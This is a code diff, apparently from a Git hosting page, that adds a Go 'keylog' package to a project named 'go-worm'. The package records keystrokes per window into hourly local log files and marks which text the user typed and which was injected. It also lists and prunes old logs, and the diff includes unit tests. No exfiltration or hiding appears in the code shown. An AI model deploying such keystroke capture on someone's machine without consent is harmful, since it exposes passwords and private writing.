||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
if err := startPlatform(w, events, stopCh, doneCh); err != nil {
|
||||||
|
close(stopCh)
|
||||||
|
writerWG.Wait()
|
||||||
|
events = nil
|
||||||
|
stopCh = nil
|
||||||
|
doneCh = nil
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
writer = w
|
||||||
|
running = true
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func Stop() {
|
||||||
|
mu.Lock()
|
||||||
|
if !running {
|
||||||
|
mu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
stop := stopCh
|
||||||
|
done := doneCh
|
||||||
|
running = false
|
||||||
|
writer = nil
|
||||||
|
events = nil
|
||||||
|
stopCh = nil
|
||||||
|
doneCh = nil
|
||||||
|
mu.Unlock()
|
||||||
|
|
||||||
|
if stop != nil {
|
||||||
|
close(stop)
|
||||||
|
}
|
||||||
|
writerWG.Wait()
|
||||||
|
if done != nil {
|
||||||
|
<-done
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,166 @@
|
|||||||
|
package keylog
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestHourBucket(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
when := time.Date(2026, 8, 28, 13, 45, 0, 0, time.FixedZone("EEST", 3*3600))
|
||||||
|
if got := HourBucket(when); got != "2026-08-28-13" {
|
||||||
|
t.Fatalf("HourBucket() = %q, want 2026-08-28-13", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestLogFilename(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
if got := LogFilename("2026-08-28-13"); got != "2026-08-28-13.log" {
|
||||||
|
t.Fatalf("LogFilename() = %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestValidLogFilename(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
cases := map[string]bool{
|
||||||
|
"2026-08-28-13.log": true,
|
||||||
|
"2026-01-01-00.log": true,
|
||||||
|
"../2026-08-28-13.log": true,
|
||||||
|
"notes.log": false,
|
||||||
|
"2026-08-28.log": false,
|
||||||
|
"2026-08-28-13.txt": false,
|
||||||
|
"": false,
|
||||||
|
}
|
||||||
|
for name, want := range cases {
|
||||||
|
if got := ValidLogFilename(name); got != want {
|
||||||
|
t.Fatalf("ValidLogFilename(%q) = %v, want %v", name, got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSectionHeader(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
got := sectionHeader("injected", "Notepad")
|
||||||
|
want := "[injected · Notepad]\n"
|
||||||
|
if got != want {
|
||||||
|
t.Fatalf("sectionHeader() = %q, want %q", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWriterTranscript(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
writer, err := NewWriter(dir)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewWriter: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = writer.Close() })
|
||||||
|
|
||||||
|
when := time.Date(2026, 8, 28, 13, 0, 0, 0, time.Local)
|
||||||
|
events := []Event{
|
||||||
|
{Time: when, Window: "Cursor - main.go", Text: "hello"},
|
||||||
|
{Time: when, Window: "Cursor - main.go", Text: " world"},
|
||||||
|
{Time: when, Window: "Notepad", Injected: true, Text: "ai "},
|
||||||
|
{Time: when, Window: "Notepad", Injected: true, Text: "typed"},
|
||||||
|
}
|
||||||
|
for _, event := range events {
|
||||||
|
if err := writer.Write(event); err != nil {
|
||||||
|
t.Fatalf("Write: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := writer.Close(); err != nil {
|
||||||
|
t.Fatalf("Close: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
data, err := os.ReadFile(filepath.Join(dir, LogFilename(HourBucket(when))))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read file: %v", err)
|
||||||
|
}
|
||||||
|
text := string(data)
|
||||||
|
wantParts := []string{
|
||||||
|
"[user · Cursor - main.go]",
|
||||||
|
"hello world",
|
||||||
|
"[injected · Notepad]",
|
||||||
|
"ai typed",
|
||||||
|
}
|
||||||
|
for _, part := range wantParts {
|
||||||
|
if !strings.Contains(text, part) {
|
||||||
|
t.Fatalf("file = %q, missing %q", text, part)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if strings.Count(text, "[user · Cursor - main.go]") != 1 {
|
||||||
|
t.Fatalf("expected one user section header, got %q", text)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWriterRotation(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
writer, err := NewWriter(dir)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewWriter: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = writer.Close() })
|
||||||
|
|
||||||
|
zone := time.FixedZone("EEST", 3*3600)
|
||||||
|
first := time.Date(2026, 8, 28, 13, 59, 0, 0, zone)
|
||||||
|
second := time.Date(2026, 8, 28, 14, 0, 0, 0, zone)
|
||||||
|
|
||||||
|
if err := writer.Write(Event{Time: first, Window: "Notepad", Text: "a"}); err != nil {
|
||||||
|
t.Fatalf("Write first: %v", err)
|
||||||
|
}
|
||||||
|
if err := writer.Write(Event{Time: second, Window: "Notepad", Text: "b"}); err != nil {
|
||||||
|
t.Fatalf("Write second: %v", err)
|
||||||
|
}
|
||||||
|
if err := writer.Close(); err != nil {
|
||||||
|
t.Fatalf("Close: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
firstData, err := os.ReadFile(filepath.Join(dir, "2026-08-28-13.log"))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read first file: %v", err)
|
||||||
|
}
|
||||||
|
secondData, err := os.ReadFile(filepath.Join(dir, "2026-08-28-14.log"))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read second file: %v", err)
|
||||||
|
}
|
||||||
|
if !strings.Contains(string(firstData), "a") {
|
||||||
|
t.Fatalf("first file = %q", firstData)
|
||||||
|
}
|
||||||
|
if !strings.Contains(string(secondData), "b") {
|
||||||
|
t.Fatalf("second file = %q", secondData)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPruneOldLogs(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
oldPath := filepath.Join(dir, "2020-01-01-12.log")
|
||||||
|
newPath := filepath.Join(dir, "2026-08-28-13.log")
|
||||||
|
if err := os.WriteFile(oldPath, []byte("old"), 0o600); err != nil {
|
||||||
|
t.Fatalf("write old: %v", err)
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(newPath, []byte("new"), 0o600); err != nil {
|
||||||
|
t.Fatalf("write new: %v", err)
|
||||||
|
}
|
||||||
|
oldTime := time.Now().AddDate(0, 0, -30)
|
||||||
|
if err := os.Chtimes(oldPath, oldTime, oldTime); err != nil {
|
||||||
|
t.Fatalf("Chtimes old: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := PruneOldLogs(dir, 7); err != nil {
|
||||||
|
t.Fatalf("PruneOldLogs: %v", err)
|
||||||
|
}
|
||||||
|
if _, err := os.Stat(oldPath); !os.IsNotExist(err) {
|
||||||
|
t.Fatalf("old file still present")
|
||||||
|
}
|
||||||
|
if _, err := os.Stat(newPath); err != nil {
|
||||||
|
t.Fatalf("new file missing: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestOpenValidation(t *testing.T) {
|
||||||
|
if _, _, err := Open("bad-name.log"); err != os.ErrInvalid {
|
||||||
|
t.Fatalf("Open bad-name.log = %v, want ErrInvalid", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
package keylog
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"sort"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func Dir() (string, error) {
|
||||||
|
return config.KeylogDir()
|
||||||
|
}
|
||||||
|
|
||||||
|
func List() ([]FileInfo, error) {
|
||||||
|
dir, err := Dir()
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
entries, err := os.ReadDir(dir)
|
||||||
|
if err != nil {
|
||||||
|
if os.IsNotExist(err) {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
var files []FileInfo
|
||||||
|
for _, entry := range entries {
|
||||||
|
if entry.IsDir() || !ValidLogFilename(entry.Name()) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
info, err := entry.Info()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
files = append(files, FileInfo{
|
||||||
|
Name: entry.Name(),
|
||||||
|
Size: info.Size(),
|
||||||
|
ModifiedTime: info.ModTime(),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
sort.Slice(files, func(i, j int) bool {
|
||||||
|
return files[i].ModifiedTime.After(files[j].ModifiedTime)
|
||||||
|
})
|
||||||
|
return files, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func Open(name string) (*os.File, os.FileInfo, error) {
|
||||||
|
if !ValidLogFilename(name) {
|
||||||
|
return nil, nil, os.ErrInvalid
|
||||||
|
}
|
||||||
|
dir, err := Dir()
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, err
|
||||||
|
}
|
||||||
|
path := filepath.Join(dir, filepath.Base(name))
|
||||||
|
info, err := os.Stat(path)
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, err
|
||||||
|
}
|
||||||
|
if info.IsDir() {
|
||||||
|
return nil, nil, os.ErrInvalid
|
||||||
|
}
|
||||||
|
file, err := os.Open(path)
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, err
|
||||||
|
}
|
||||||
|
return file, info, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,110 @@
|
|||||||
|
package keylog
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Writer struct {
|
||||||
|
dir string
|
||||||
|
file *os.File
|
||||||
|
bucket string
|
||||||
|
curWindow string
|
||||||
|
curSource string
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewWriter(dir string) (*Writer, error) {
|
||||||
|
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return &Writer{dir: dir}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *Writer) Write(event Event) error {
|
||||||
|
if event.Text == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
bucket := HourBucket(event.Time)
|
||||||
|
if bucket != w.bucket {
|
||||||
|
if err := w.rotate(bucket); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
window := normalizeWindow(event.Window)
|
||||||
|
source := eventSource(event.Injected)
|
||||||
|
if window != w.curWindow || source != w.curSource {
|
||||||
|
if w.curWindow != "" {
|
||||||
|
if _, err := w.file.WriteString("\n\n"); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if _, err := w.file.WriteString(sectionHeader(source, window)); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
w.curWindow = window
|
||||||
|
w.curSource = source
|
||||||
|
}
|
||||||
|
|
||||||
|
_, err := w.file.WriteString(event.Text)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *Writer) rotate(bucket string) error {
|
||||||
|
if w.file != nil {
|
||||||
|
if err := w.file.Close(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
w.file = nil
|
||||||
|
}
|
||||||
|
path := filepath.Join(w.dir, LogFilename(bucket))
|
||||||
|
file, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
w.file = file
|
||||||
|
w.bucket = bucket
|
||||||
|
w.curWindow = ""
|
||||||
|
w.curSource = ""
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *Writer) Close() error {
|
||||||
|
if w.file == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
err := w.file.Close()
|
||||||
|
w.file = nil
|
||||||
|
w.bucket = ""
|
||||||
|
w.curWindow = ""
|
||||||
|
w.curSource = ""
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func PruneOldLogs(dir string, retentionDays int) error {
|
||||||
|
if retentionDays <= 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
cutoff := time.Now().AddDate(0, 0, -retentionDays)
|
||||||
|
entries, err := os.ReadDir(dir)
|
||||||
|
if err != nil {
|
||||||
|
if os.IsNotExist(err) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
for _, entry := range entries {
|
||||||
|
if entry.IsDir() || !ValidLogFilename(entry.Name()) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
info, err := entry.Info()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if info.ModTime().Before(cutoff) {
|
||||||
|
_ = os.Remove(filepath.Join(dir, entry.Name()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user